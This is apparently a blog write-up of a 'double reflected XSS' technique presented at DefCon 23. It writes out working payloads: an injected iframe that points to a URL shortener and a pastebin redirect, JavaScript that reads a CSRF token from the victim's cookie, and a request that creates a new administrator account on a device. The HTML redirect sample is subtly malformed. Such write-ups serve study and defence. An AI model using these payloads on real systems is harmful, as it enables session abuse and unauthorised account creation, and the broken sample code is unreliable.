In a reflected XSS attack, what is sent to the server is immediately reflected back to the user. It allows an attacker to embed scripts that will force the victim to take action on behalf of the user.
Example: www.yoursite.com/reflectxss?q=<script>Action Here</script>
If a victim triggers the above URL, the Reflected XSS will execute the action in the script tags on behalf of the attacker but with the victim’s account. One of the ways a victim can trigger an attack is through social engineering such as a targeted email or embedded link. The problem arises that if you want to do anything meaningful on the system with the link, it tends to require a long script, producing a very long URL. A long URL decreases the odds of such social engineering attacks.
Double Reflected XSS
In a double reflected XSS, we will present the Reflected XSS with a short URL that will forward to an offsite script, which will then forward the user back to the same Reflected XSS vulnerability but with the long script actions embedded.
Step 1:
The attacker crafts a URL for the victim with an embedded iframe to a URL shortener:
www.yoursite.com/reflectxss?q=<iframe src=’//tr.im/XYZABC’ ></iframe>
or URL encoded as:
www.yoursite.com/reflectxss?q=%3Ciframe%20src%3D%27%2F%2Ftr.im%2FXYZABC%27%20%3E%3C%2Fiframe%3E
This presents a URL that is nice and short.
Step 2:
The URL shortener reditects the iframe to a text file like pastebin. The pastebin file contains a a script that will run in the iframe and forward the user back to the Reflected XSS.
This is an example of a script one could put on pastebin that will redirect the user back to the reflected XSS but allowing the insertion of a much longer script.
<HTML>
<HEAD>
<META HTTP-EQUIV=”Pragma” CONTENT=”no-cache”>
<META HTTP-EQUIV=”Expires” CONTENT=”-1″>
<meta http-equiv=”refresh” content=’0;url= www.yoursite.com/reflectxss?q=</script>
Long Attack String Here </script>’
</HEAD>
<BODY>
Double Reflected XSS
</BODY>
</HTML>
Step 3
Using the same vulnerability with the Reflected XSS, the attacker is now able to execute the long, multi-step script in the iframe.
Here is an example of a script that will grab the CSRF token in a device’s cookie and then embedded at the end of a URL that will insert a new user. The script then changes the iframe’s location again to be the location of the URL to add a new user.
<script>
var str=document.cookie;
carray=str.split(“CSRF_TOKEN=”);
carray=carray[1].split(“;”);
csrf_token=carray[0];
url=” … URL encoded add a new user temp2 … ”
url=decodeURI(url);
url=url.concat(csrf_token);
window.location=url;
</script>
Step 4
The URL to add a new user is executed within the iframe and the attack is complete. The URL to add a new user on the device looks something like this:
http://yoursite.com/cgi-bin/wizReq.cgi?&wiz_func=user_create&action=add_user&set_application_privilege=1&rd_share_len=1&rd_share0=Public&rw_share_len=1&rw_share0=Multimedia&no_share_len=0&email=&ps=&gp_len=2&gp0=administrators&gp1=everyone&hidden=no&oplocks=1&create_priv=0&comment=&vol_no=1&a_username=test2&a_passwd=MQ%3D%3D&a_email=&a_description=&recursive=1&send_mail=0&AFP=1&FTP=1&SAMBA=1&WEBDAV=1&MUSIC_STATION=1&PHOTO_STATION=1&VIDEO_STATION=1&WFM=1&recycle_bin=0&recycle_bin_administrators_only=0&sid=
In this manner, a long script can be hidden from the social engineering link. This iframe, redirect method can also be used with stored XSS where the number of characters available is limited. This technique is how I was able to exploit a stored XSS with very limited characters for my DefCon 23 Packet Hacking Village presentation.